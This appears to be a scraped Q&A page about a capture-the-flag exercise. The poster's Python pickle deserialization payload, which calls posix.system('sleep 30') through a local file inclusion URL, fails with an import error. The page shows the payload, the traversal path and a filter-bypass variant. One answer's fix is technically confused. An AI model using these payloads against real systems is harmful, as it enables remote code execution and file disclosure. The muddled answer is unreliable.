Pickle Shellcode Import Error

Question

I'm trying to execute pickle shell-code through a download function on a website but I get the following error:

<html>
<h1>ERROR: Cannot load file</h1>

<!--
 Traceback (most recent call last):
  File "/opt/example/handlers/UserHandlers.py", line 134, in get
    upload = pickle.load(f)
  File "/usr/local/lib/python2.7/pickle.py", line 1384, in load
    return Unpickler(file).load()
  File "/usr/local/lib/python2.7/pickle.py", line 864, in load
    dispatch[key](self)
  File "/usr/local/lib/python2.7/pickle.py", line 1096, in load_global
    klass = self.find_class(module, name)
  File "/usr/local/lib/python2.7/pickle.py", line 1130, in find_class
    __import__(module)
ImportError: No module named posix

-->
</html>

Pickle Shellcode:

cposix
system
p1
(S'sleep 30'
p2
tRp3

I assume this is a path issue and I also can't import modules by filename. Keep in mind I'm using an LFI vulnerability to call my pickle shell-code.

Example: http://example.com/download?file=../../../pickle.txt

Could this be the cause of the issue? I should also note this is a CTF, so it should be vulnerable in one way or another. Thanks in advance!

This looks like more a python programing question, did you google "ImportError: No module named posix" or ask about this in stackoverflow.com? — camp0
– camp0, Commented Jun 25, 2019 at 11:31

AbsoZed · Accepted Answer · 2019-06-25 14:30:13Z

1

ImportError: No module named posix

Is the problem here. You can either attempt to drop to a bash shell and use

pip install posix

Or the best solution is to just remove

import posix

and replace it with

import os

answered Jun 25, 2019 at 14:30

AbsoZed

714 bronze badges

Add a comment |

David Edwards · Accepted Answer · 2019-06-28 01:34:28Z

0

Your shell code needs to look like so according to https://cvedetails.com/cve/CVE-2013-5093/

cposix\nsystem\np1\n(S'sleep 30'\np2\ntRp3.

Also try padding your directory traversal attack with additional characters to account for input sanitation.

http://example.com/download?file=....//....//....//pickle.txt

answered Jun 28, 2019 at 1:34

David Edwards

11 bronze badge

Add a comment |

Stack Exchange Network

Pickle Shellcode Import Error

2 Answers 2

You must log in to answer this question.

Hot Network Questions

Pickle Shellcode Import Error

2 Answers 2

You must log in to answer this question.

Related

Hot Network Questions